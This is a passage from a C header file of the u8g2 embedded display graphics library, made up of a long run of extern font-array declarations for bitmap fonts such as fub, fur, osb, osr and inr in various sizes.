u8g2_font_luBS19_te[] U8G2_FONT_SECTION(\"u8g2_font_luBS19_te\");\nextern const uint8_t u8g2_font_luBS24_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBS24_tf\");\nextern const uint8_t u8g2_font_luBS24_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBS24_tr\");\nextern const uint8_t u8g2_font_luBS24_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBS24_tn\");\nextern const uint8_t u8g2_font_luBS24_te[] U8G2_FONT_SECTION(\"u8g2_font_luBS24_te\");\nextern const uint8_t u8g2_font_luIS08_tf[] U8G2_FONT_SECTION(\"u8g2_font_luIS08_tf\");\nextern const uint8_t u8g2_font_luIS08_tr[] U8G2_FONT_SECTION(\"u8g2_font_luIS08_tr\");\nextern const uint8_t u8g2_font_luIS08_tn[] U8G2_FONT_SECTION(\"u8g2_font_luIS08_tn\");\nextern const uint8_t u8g2_font_luIS08_te[] U8G2_FONT_SECTION(\"u8g2_font_luIS08_te\");\nextern const uint8_t u8g2_font_luIS10_tf[] U8G2_FONT_SECTION(\"u8g2_font_luIS10_tf\");\nextern const uint8_t u8g2_font_luIS10_tr[] U8G2_FONT_SECTION(\"u8g2_font_luIS10_tr\");\nextern const uint8_t u8g2_font_luIS10_tn[] U8G2_FONT_SECTION(\"u8g2_font_luIS10_tn\");\nextern const uint8_t u8g2_font_luIS10_te[] U8G2_FONT_SECTION(\"u8g2_font_luIS10_te\");\nextern const uint8_t u8g2_font_luIS12_tf[] U8G2_FONT_SECTION(\"u8g2_font_luIS12_tf\");\nextern const uint8_t u8g2_font_luIS12_tr[] U8G2_FONT_SECTION(\"u8g2_font_luIS12_tr\");\nextern const uint8_t u8g2_font_luIS12_tn[] U8G2_FONT_SECTION(\"u8g2_font_luIS12_tn\");\nextern const uint8_t u8g2_font_luIS12_te[] U8G2_FONT_SECTION(\"u8g2_font_luIS12_te\");\nextern const uint8_t u8g2_font_luIS14_tf[] U8G2_FONT_SECTION(\"u8g2_font_luIS14_tf\");\nextern const uint8_t u8g2_font_luIS14_tr[] U8G2_FONT_SECTION(\"u8g2_font_luIS14_tr\");\nextern const uint8_t u8g2_font_luIS14_tn[] U8G2_FONT_SECTION(\"u8g2_font_luIS14_tn\");\nextern const uint8_t u8g2_font_luIS14_te[] U8G2_FONT_SECTION(\"u8g2_font_luIS14_te\");\nextern const uint8_t u8g2_font_luIS18_tf[] U8G2_FONT_SECTION(\"u8g2_font_luIS18_tf\");\nextern const uint8_t u8g2_font_luIS18_tr[] U8G2_FONT_SECTION(\"u8g2_font_luIS18_tr\");\nextern const uint8_t u8g2_font_luIS18_tn[] U8G2_FONT_SECTION(\"u8g2_font_luIS18_tn\");\nextern const uint8_t u8g2_font_luIS18_te[] U8G2_FONT_SECTION(\"u8g2_font_luIS18_te\");\nextern const uint8_t u8g2_font_luIS19_tf[] U8G2_FONT_SECTION(\"u8g2_font_luIS19_tf\");\nextern const uint8_t u8g2_font_luIS19_tr[] U8G2_FONT_SECTION(\"u8g2_font_luIS19_tr\");\nextern const uint8_t u8g2_font_luIS19_tn[] U8G2_FONT_SECTION(\"u8g2_font_luIS19_tn\");\nextern const uint8_t u8g2_font_luIS19_te[] U8G2_FONT_SECTION(\"u8g2_font_luIS19_te\");\nextern const uint8_t u8g2_font_luIS24_tf[] U8G2_FONT_SECTION(\"u8g2_font_luIS24_tf\");\nextern const uint8_t u8g2_font_luIS24_tr[] U8G2_FONT_SECTION(\"u8g2_font_luIS24_tr\");\nextern const uint8_t u8g2_font_luIS24_tn[] U8G2_FONT_SECTION(\"u8g2_font_luIS24_tn\");\nextern const uint8_t u8g2_font_luIS24_te[] U8G2_FONT_SECTION(\"u8g2_font_luIS24_te\");\nextern const uint8_t u8g2_font_luRS08_tf[] U8G2_FONT_SECTION(\"u8g2_font_luRS08_tf\");\nextern const uint8_t u8g2_font_luRS08_tr[] U8G2_FONT_SECTION(\"u8g2_font_luRS08_tr\");\nextern const uint8_t u8g2_font_luRS08_tn[] U8G2_FONT_SECTION(\"u8g2_font_luRS08_tn\");\nextern const uint8_t u8g2_font_luRS08_te[] U8G2_FONT_SECTION(\"u8g2_font_luRS08_te\");\nextern const uint8_t u8g2_font_luRS10_tf[] U8G2_FONT_SECTION(\"u8g2_font_luRS10_tf\");\nextern const uint8_t u8g2_font_luRS10_tr[] U8G2_FONT_SECTION(\"u8g2_font_luRS10_tr\");\nextern const uint8_t u8g2_font_luRS10_tn[] U8G2_FONT_SECTION(\"u8g2_font_luRS10_tn\");\nextern const uint8_t u8g2_font_luRS10_te[] U8G2_FONT_SECTION(\"u8g2_font_luRS10_te\");\nextern const uint8_t u8g2_font_luRS12_tf[] U8G2_FONT_SECTION(\"u8g2_font_luRS12_tf\");\nextern const uint8_t u8g2_font_luRS12_tr[] U8G2_FONT_SECTION(\"u8g2_font_luRS12_tr\");\nextern const uint8_t u8g2_font_luRS12_tn[] U8G2_FONT_SECTION(\"u8g2_font_luRS12_tn\");\nextern const uint8_t u8g2_font_luRS12_te[] U8G2_FONT_SECTION(\"u8g2_font_luRS12_te\");\nextern const uint8_t u8g2_font_luRS14_tf[] U8G2_FONT_SECTION(\"u8g2_font_luRS14_tf\");\nextern const uint8_t u8g2_font_luRS14_tr[] U8G2_FONT_SECTION(\"u8g2_font_luRS14_tr\");\nextern const uint8_t u8g2_font_luRS14_tn[] U8G2_FONT_SECTION(\"u8g2_font_luRS14_tn\");\nextern const uint8_t u8g2_font_luRS14_te[] U8G2_FONT_SECTION(\"u8g2_font_luRS14_te\");\nextern const uint8_t u8g2_font_luRS18_tf[] U8G2_FONT_SECTION(\"u8g2_font_luRS18_tf\");\nextern const uint8_t u8g2_font_luRS18_tr[] U8G2_FONT_SECTION(\"u8g2_font_luRS18_tr\");\nextern const uint8_t u8g2_font_luRS18_tn[] U8G2_FONT_SECTION(\"u8g2_font_luRS18_tn\");\nextern const uint8_t u8g2_font_luRS18_te[] U8G2_FONT_SECTION(\"u8g2_font_luRS18_te\");\nextern const uint8_t u8g2_font_luRS19_tf[] U8G2_FONT_SECTION(\"u8g2_font_luRS19_tf\");\nextern const uint8_t u8g2_font_luRS19_tr[] U8G2_FONT_SECTION(\"u8g2_font_luRS19_tr\");\nextern const uint8_t u8g2_font_luRS19_tn[] U8G2_FONT_SECTION(\"u8g2_font_luRS19_tn\");\nextern const uint8_t u8g2_font_luRS19_te[] U8G2_FONT_SECTION(\"u8g2_font_luRS19_te\");\nextern const uint8_t u8g2_font_luRS24_tf[] U8G2_FONT_SECTION(\"u8g2_font_luRS24_tf\");\nextern const uint8_t u8g2_font_luRS24_tr[] U8G2_FONT_SECTION(\"u8g2_font_luRS24_tr\");\nextern const uint8_t u8g2_font_luRS24_tn[] U8G2_FONT_SECTION(\"u8g2_font_luRS24_tn\");\nextern const uint8_t u8g2_font_luRS24_te[] U8G2_FONT_SECTION(\"u8g2_font_luRS24_te\");\nextern const uint8_t u8g2_font_baby_tf[] U8G2_FONT_SECTION(\"u8g2_font_baby_tf\");\nextern const uint8_t u8g2_font_baby_tr[] U8G2_FONT_SECTION(\"u8g2_font_baby_tr\");\nextern const uint8_t u8g2_font_baby_tn[] U8G2_FONT_SECTION(\"u8g2_font_baby_tn\");\nextern const uint8_t u8g2_font_blipfest_07_tr[] U8G2_FONT_SECTION(\"u8g2_font_blipfest_07_tr\");\nextern const uint8_t u8g2_font_blipfest_07_tn[] U8G2_FONT_SECTION(\"u8g2_font_blipfest_07_tn\");\nextern const uint8_t u8g2_font_chikita_tf[] U8G2_FONT_SECTION(\"u8g2_font_chikita_tf\");\nextern const uint8_t u8g2_font_chikita_tr[] U8G2_FONT_SECTION(\"u8g2_font_chikita_tr\");\nextern const uint8_t u8g2_font_chikita_tn[] U8G2_FONT_SECTION(\"u8g2_font_chikita_tn\");\nextern const uint8_t u8g2_font_lucasfont_alternate_tf[] U8G2_FONT_SECTION(\"u8g2_font_lucasfont_alternate_tf\");\nextern const uint8_t u8g2_font_lucasfont_alternate_tr[] U8G2_FONT_SECTION(\"u8g2_font_lucasfont_alternate_tr\");\nextern const uint8_t u8g2_font_lucasfont_alternate_tn[] U8G2_FONT_SECTION(\"u8g2_font_lucasfont_alternate_tn\");\nextern const uint8_t u8g2_font_p01type_tf[] U8G2_FONT_SECTION(\"u8g2_font_p01type_tf\");\nextern const uint8_t u8g2_font_p01type_tr[] U8G2_FONT_SECTION(\"u8g2_font_p01type_tr\");\nextern const uint8_t u8g2_font_p01type_tn[] U8G2_FONT_SECTION(\"u8g2_font_p01type_tn\");\nextern const uint8_t u8g2_font_pixelle_micro_tr[] U8G2_FONT_SECTION(\"u8g2_font_pixelle_micro_tr\");\nextern const uint8_t u8g2_font_pixelle_micro_tn[] U8G2_FONT_SECTION(\"u8g2_font_pixelle_micro_tn\");\nextern const uint8_t u8g2_font_robot_de_niro_tf[] U8G2_FONT_SECTION(\"u8g2_font_robot_de_niro_tf\");\nextern const uint8_t u8g2_font_robot_de_niro_tr[] U8G2_FONT_SECTION(\"u8g2_font_robot_de_niro_tr\");\nextern const uint8_t u8g2_font_robot_de_niro_tn[] U8G2_FONT_SECTION(\"u8g2_font_robot_de_niro_tn\");\nextern const uint8_t u8g2_font_trixel_square_tf[] U8G2_FONT_SECTION(\"u8g2_font_trixel_square_tf\");\nextern const uint8_t u8g2_font_trixel_square_tr[] U8G2_FONT_SECTION(\"u8g2_font_trixel_square_tr\");\nextern const uint8_t u8g2_font_trixel_square_tn[] U8G2_FONT_SECTION(\"u8g2_font_trixel_square_tn\");\nextern const uint8_t u8g2_font_haxrcorp4089_tr[] U8G2_FONT_SECTION(\"u8g2_font_haxrcorp4089_tr\");\nextern const uint8_t u8g2_font_haxrcorp4089_tn[] U8G2_FONT_SECTION(\"u8g2_font_haxrcorp4089_tn\");\nextern const uint8_t u8g2_font_haxrcorp4089_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_haxrcorp4089_t_cyrillic\");\nextern const uint8_t u8g2_font_bubble_tr[] U8G2_FONT_SECTION(\"u8g2_font_bubble_tr\");\nextern const uint8_t u8g2_font_bubble_tn[] U8G2_FONT_SECTION(\"u8g2_font_bubble_tn\");\nextern const uint8_t u8g2_font_cardimon_pixel_tf[] U8G2_FONT_SECTION(\"u8g2_font_cardimon_pixel_tf\");\nextern const uint8_t u8g2_font_cardimon_pixel_tr[] U8G2_FONT_SECTION(\"u8g2_font_cardimon_pixel_tr\");\nextern const uint8_t u8g2_font_cardimon_pixel_tn[] U8G2_FONT_SECTION(\"u8g2_font_cardimon_pixel_tn\");\nextern const uint8_t u8g2_font_maniac_tf[] U8G2_FONT_SECTION(\"u8g2_font_maniac_tf\");\nextern const uint8_t u8g2_font_maniac_tr[] U8G2_FONT_SECTION(\"u8g2_font_maniac_tr\");\nextern const uint8_t u8g2_font_maniac_tn[] U8G2_FONT_SECTION(\"u8g2_font_maniac_tn\");\nextern const uint8_t u8g2_font_maniac_te[] U8G2_FONT_SECTION(\"u8g2_font_maniac_te\");\nextern const uint8_t u8g2_font_lucasarts_scumm_subtitle_o_tf[] U8G2_FONT_SECTION(\"u8g2_font_lucasarts_scumm_subtitle_o_tf\");\nextern const uint8_t u8g2_font_lucasarts_scumm_subtitle_o_tr[] U8G2_FONT_SECTION(\"u8g2_font_lucasarts_scumm_subtitle_o_tr\");\nextern const uint8_t u8g2_font_lucasarts_scumm_subtitle_o_tn[] U8G2_FONT_SECTION(\"u8g2_font_lucasarts_scumm_subtitle_o_tn\");\nextern const uint8_t u8g2_font_lucasarts_scumm_subtitle_r_tf[] U8G2_FONT_SECTION(\"u8g2_font_lucasarts_scumm_subtitle_r_tf\");\nextern const uint8_t u8g2_font_lucasarts_scumm_subtitle_r_tr[] U8G2_FONT_SECTION(\"u8g2_font_lucasarts_scumm_subtitle_r_tr\");\nextern const uint8_t u8g2_font_lucasarts_scumm_subtitle_r_tn[] U8G2_FONT_SECTION(\"u8g2_font_lucasarts_scumm_subtitle_r_tn\");\nextern const uint8_t u8g2_font_utopia24_tf[] U8G2_FONT_SECTION(\"u8g2_font_utopia24_tf\");\nextern const uint8_t u8g2_font_utopia24_tr[] U8G2_FONT_SECTION(\"u8g2_font_utopia24_tr\");\nextern const uint8_t u8g2_font_utopia24_tn[] U8G2_FONT_SECTION(\"u8g2_font_utopia24_tn\");\nextern const uint8_t u8g2_font_utopia24_te[] U8G2_FONT_SECTION(\"u8g2_font_utopia24_te\");\nextern const uint8_t u8g2_font_m_c_kids_nes_credits_font_tr[] U8G2_FONT_SECTION(\"u8g2_font_m_c_kids_nes_credits_font_tr\");\nextern const uint8_t u8g2_font_chargen_92_tf[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_tf\");\nextern const uint8_t u8g2_font_chargen_92_tr[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_tr\");\nextern const uint8_t u8g2_font_chargen_92_tn[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_tn\");\nextern const uint8_t u8g2_font_chargen_92_te[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_te\");\nextern const uint8_t u8g2_font_chargen_92_mf[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_mf\");\nextern const uint8_t u8g2_font_chargen_92_mr[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_mr\");\nextern const uint8_t u8g2_font_chargen_92_mn[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_mn\");\nextern const uint8_t u8g2_font_chargen_92_me[] U8G2_FONT_SECTION(\"u8g2_font_chargen_92_me\");\nextern const uint8_t u8g2_font_fub11_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub11_tf\");\nextern const uint8_t u8g2_font_fub11_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub11_tr\");\nextern const uint8_t u8g2_font_fub11_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub11_tn\");\nextern const uint8_t u8g2_font_fub14_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub14_tf\");\nextern const uint8_t u8g2_font_fub14_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub14_tr\");\nextern const uint8_t u8g2_font_fub14_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub14_tn\");\nextern const uint8_t u8g2_font_fub17_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub17_tf\");\nextern const uint8_t u8g2_font_fub17_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub17_tr\");\nextern const uint8_t u8g2_font_fub17_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub17_tn\");\nextern const uint8_t u8g2_font_fub20_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub20_tf\");\nextern const uint8_t u8g2_font_fub20_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub20_tr\");\nextern const uint8_t u8g2_font_fub20_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub20_tn\");\nextern const uint8_t u8g2_font_fub25_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub25_tf\");\nextern const uint8_t u8g2_font_fub25_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub25_tr\");\nextern const uint8_t u8g2_font_fub25_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub25_tn\");\nextern const uint8_t u8g2_font_fub30_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub30_tf\");\nextern const uint8_t u8g2_font_fub30_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub30_tr\");\nextern const uint8_t u8g2_font_fub30_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub30_tn\");\nextern const uint8_t u8g2_font_fub35_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub35_tf\");\nextern const uint8_t u8g2_font_fub35_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub35_tr\");\nextern const uint8_t u8g2_font_fub35_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub35_tn\");\nextern const uint8_t u8g2_font_fub42_tf[] U8G2_FONT_SECTION(\"u8g2_font_fub42_tf\");\nextern const uint8_t u8g2_font_fub42_tr[] U8G2_FONT_SECTION(\"u8g2_font_fub42_tr\");\nextern const uint8_t u8g2_font_fub42_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub42_tn\");\nextern const uint8_t u8g2_font_fub49_tn[] U8G2_FONT_SECTION(\"u8g2_font_fub49_tn\");\nextern const uint8_t u8g2_font_fub11_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub11_t_symbol\");\nextern const uint8_t u8g2_font_fub14_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub14_t_symbol\");\nextern const uint8_t u8g2_font_fub17_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub17_t_symbol\");\nextern const uint8_t u8g2_font_fub20_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub20_t_symbol\");\nextern const uint8_t u8g2_font_fub25_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub25_t_symbol\");\nextern const uint8_t u8g2_font_fub30_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub30_t_symbol\");\nextern const uint8_t u8g2_font_fub35_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub35_t_symbol\");\nextern const uint8_t u8g2_font_fub42_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub42_t_symbol\");\nextern const uint8_t u8g2_font_fub49_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fub49_t_symbol\");\nextern const uint8_t u8g2_font_fur11_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur11_tf\");\nextern const uint8_t u8g2_font_fur11_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur11_tr\");\nextern const uint8_t u8g2_font_fur11_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur11_tn\");\nextern const uint8_t u8g2_font_fur14_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur14_tf\");\nextern const uint8_t u8g2_font_fur14_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur14_tr\");\nextern const uint8_t u8g2_font_fur14_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur14_tn\");\nextern const uint8_t u8g2_font_fur17_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur17_tf\");\nextern const uint8_t u8g2_font_fur17_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur17_tr\");\nextern const uint8_t u8g2_font_fur17_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur17_tn\");\nextern const uint8_t u8g2_font_fur20_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur20_tf\");\nextern const uint8_t u8g2_font_fur20_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur20_tr\");\nextern const uint8_t u8g2_font_fur20_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur20_tn\");\nextern const uint8_t u8g2_font_fur25_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur25_tf\");\nextern const uint8_t u8g2_font_fur25_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur25_tr\");\nextern const uint8_t u8g2_font_fur25_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur25_tn\");\nextern const uint8_t u8g2_font_fur30_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur30_tf\");\nextern const uint8_t u8g2_font_fur30_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur30_tr\");\nextern const uint8_t u8g2_font_fur30_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur30_tn\");\nextern const uint8_t u8g2_font_fur35_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur35_tf\");\nextern const uint8_t u8g2_font_fur35_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur35_tr\");\nextern const uint8_t u8g2_font_fur35_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur35_tn\");\nextern const uint8_t u8g2_font_fur42_tf[] U8G2_FONT_SECTION(\"u8g2_font_fur42_tf\");\nextern const uint8_t u8g2_font_fur42_tr[] U8G2_FONT_SECTION(\"u8g2_font_fur42_tr\");\nextern const uint8_t u8g2_font_fur42_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur42_tn\");\nextern const uint8_t u8g2_font_fur49_tn[] U8G2_FONT_SECTION(\"u8g2_font_fur49_tn\");\nextern const uint8_t u8g2_font_fur11_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur11_t_symbol\");\nextern const uint8_t u8g2_font_fur14_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur14_t_symbol\");\nextern const uint8_t u8g2_font_fur17_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur17_t_symbol\");\nextern const uint8_t u8g2_font_fur20_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur20_t_symbol\");\nextern const uint8_t u8g2_font_fur25_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur25_t_symbol\");\nextern const uint8_t u8g2_font_fur30_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur30_t_symbol\");\nextern const uint8_t u8g2_font_fur35_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur35_t_symbol\");\nextern const uint8_t u8g2_font_fur42_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur42_t_symbol\");\nextern const uint8_t u8g2_font_fur49_t_symbol[] U8G2_FONT_SECTION(\"u8g2_font_fur49_t_symbol\");\nextern const uint8_t u8g2_font_osb18_tf[] U8G2_FONT_SECTION(\"u8g2_font_osb18_tf\");\nextern const uint8_t u8g2_font_osb18_tr[] U8G2_FONT_SECTION(\"u8g2_font_osb18_tr\");\nextern const uint8_t u8g2_font_osb18_tn[] U8G2_FONT_SECTION(\"u8g2_font_osb18_tn\");\nextern const uint8_t u8g2_font_osb21_tf[] U8G2_FONT_SECTION(\"u8g2_font_osb21_tf\");\nextern const uint8_t u8g2_font_osb21_tr[] U8G2_FONT_SECTION(\"u8g2_font_osb21_tr\");\nextern const uint8_t u8g2_font_osb21_tn[] U8G2_FONT_SECTION(\"u8g2_font_osb21_tn\");\nextern const uint8_t u8g2_font_osb26_tf[] U8G2_FONT_SECTION(\"u8g2_font_osb26_tf\");\nextern const uint8_t u8g2_font_osb26_tr[] U8G2_FONT_SECTION(\"u8g2_font_osb26_tr\");\nextern const uint8_t u8g2_font_osb26_tn[] U8G2_FONT_SECTION(\"u8g2_font_osb26_tn\");\nextern const uint8_t u8g2_font_osb29_tf[] U8G2_FONT_SECTION(\"u8g2_font_osb29_tf\");\nextern const uint8_t u8g2_font_osb29_tr[] U8G2_FONT_SECTION(\"u8g2_font_osb29_tr\");\nextern const uint8_t u8g2_font_osb29_tn[] U8G2_FONT_SECTION(\"u8g2_font_osb29_tn\");\nextern const uint8_t u8g2_font_osb35_tf[] U8G2_FONT_SECTION(\"u8g2_font_osb35_tf\");\nextern const uint8_t u8g2_font_osb35_tr[] U8G2_FONT_SECTION(\"u8g2_font_osb35_tr\");\nextern const uint8_t u8g2_font_osb35_tn[] U8G2_FONT_SECTION(\"u8g2_font_osb35_tn\");\nextern const uint8_t u8g2_font_osb41_tf[] U8G2_FONT_SECTION(\"u8g2_font_osb41_tf\");\nextern const uint8_t u8g2_font_osb41_tr[] U8G2_FONT_SECTION(\"u8g2_font_osb41_tr\");\nextern const uint8_t u8g2_font_osb41_tn[] U8G2_FONT_SECTION(\"u8g2_font_osb41_tn\");\nextern const uint8_t u8g2_font_osr18_tf[] U8G2_FONT_SECTION(\"u8g2_font_osr18_tf\");\nextern const uint8_t u8g2_font_osr18_tr[] U8G2_FONT_SECTION(\"u8g2_font_osr18_tr\");\nextern const uint8_t u8g2_font_osr18_tn[] U8G2_FONT_SECTION(\"u8g2_font_osr18_tn\");\nextern const uint8_t u8g2_font_osr21_tf[] U8G2_FONT_SECTION(\"u8g2_font_osr21_tf\");\nextern const uint8_t u8g2_font_osr21_tr[] U8G2_FONT_SECTION(\"u8g2_font_osr21_tr\");\nextern const uint8_t u8g2_font_osr21_tn[] U8G2_FONT_SECTION(\"u8g2_font_osr21_tn\");\nextern const uint8_t u8g2_font_osr26_tf[] U8G2_FONT_SECTION(\"u8g2_font_osr26_tf\");\nextern const uint8_t u8g2_font_osr26_tr[] U8G2_FONT_SECTION(\"u8g2_font_osr26_tr\");\nextern const uint8_t u8g2_font_osr26_tn[] U8G2_FONT_SECTION(\"u8g2_font_osr26_tn\");\nextern const uint8_t u8g2_font_osr29_tf[] U8G2_FONT_SECTION(\"u8g2_font_osr29_tf\");\nextern const uint8_t u8g2_font_osr29_tr[] U8G2_FONT_SECTION(\"u8g2_font_osr29_tr\");\nextern const uint8_t u8g2_font_osr29_tn[] U8G2_FONT_SECTION(\"u8g2_font_osr29_tn\");\nextern const uint8_t u8g2_font_osr35_tf[] U8G2_FONT_SECTION(\"u8g2_font_osr35_tf\");\nextern const uint8_t u8g2_font_osr35_tr[] U8G2_FONT_SECTION(\"u8g2_font_osr35_tr\");\nextern const uint8_t u8g2_font_osr35_tn[] U8G2_FONT_SECTION(\"u8g2_font_osr35_tn\");\nextern const uint8_t u8g2_font_osr41_tf[] U8G2_FONT_SECTION(\"u8g2_font_osr41_tf\");\nextern const uint8_t u8g2_font_osr41_tr[] U8G2_FONT_SECTION(\"u8g2_font_osr41_tr\");\nextern const uint8_t u8g2_font_osr41_tn[] U8G2_FONT_SECTION(\"u8g2_font_osr41_tn\");\nextern const uint8_t u8g2_font_inr16_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr16_mf\");\nextern const uint8_t u8g2_font_inr16_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr16_mr\");\nextern const uint8_t u8g2_font_inr16_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr16_mn\");\nextern const uint8_t u8g2_font_inr19_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr19_mf\");\nextern const uint8_t u8g2_font_inr19_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr19_mr\");\nextern const uint8_t u8g2_font_inr19_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr19_mn\");\nextern const uint8_t u8g2_font_inr21_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr21_mf\");\nextern const uint8_t u8g2_font_inr21_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr21_mr\");\nextern const uint8_t u8g2_font_inr21_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr21_mn\");\nextern const uint8_t u8g2_font_inr24_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr24_mf\");\nextern const uint8_t u8g2_font_inr24_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr24_mr\");\nextern const uint8_t u8g2_font_inr24_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr24_mn\");\nextern const uint8_t u8g2_font_inr24_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr24_t_cyrillic\");\nextern const uint8_t u8g2_font_inr27_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr27_mf\");\nextern const uint8_t u8g2_font_inr27_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr27_mr\");\nextern const uint8_t u8g2_font_inr27_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr27_mn\");\nextern const uint8_t u8g2_font_inr27_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr27_t_cyrillic\");\nextern const uint8_t u8g2_font_inr30_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr30_mf\");\nextern const uint8_t u8g2_font_inr30_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr30_mr\");\nextern const uint8_t u8g2_font_inr30_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr30_mn\");\nextern const uint8_t u8g2_font_inr30_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr30_t_cyrillic\");\nextern const uint8_t u8g2_font_inr33_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr33_mf\");\nextern const uint8_t u8g2_font_inr33_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr33_mr\");\nextern const uint8_t u8g2_font_inr33_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr33_mn\");\nextern const uint8_t u8g2_font_inr33_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr33_t_cyrillic\");\nextern const uint8_t u8g2_font_inr38_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr38_mf\");\nextern const uint8_t u8g2_font_inr38_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr38_mr\");\nextern const uint8_t u8g2_font_inr38_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr38_mn\");\nextern const uint8_t u8g2_font_inr38_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr38_t_cyrillic\");\nextern const uint8_t u8g2_font_inr42_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr42_mf\");\nextern const uint8_t u8g2_font_inr42_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr42_mr\");\nextern const uint8_t u8g2_font_inr42_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr42_mn\");\nextern const uint8_t u8g2_font_inr42_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr42_t_cyrillic\");\nextern const uint8_t u8g2_font_inr46_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr46_mf\");\nextern const uint8_t u8g2_font_inr46_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr46_mr\");\nextern const uint8_t u8g2_font_inr46_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr46_mn\");\nextern const uint8_t u8g2_font_inr46_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr46_t_cyrillic\");\nextern const uint8_t u8g2_font_inr49_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr49_mf\");\nextern const uint8_t u8g2_font_inr49_mr[] 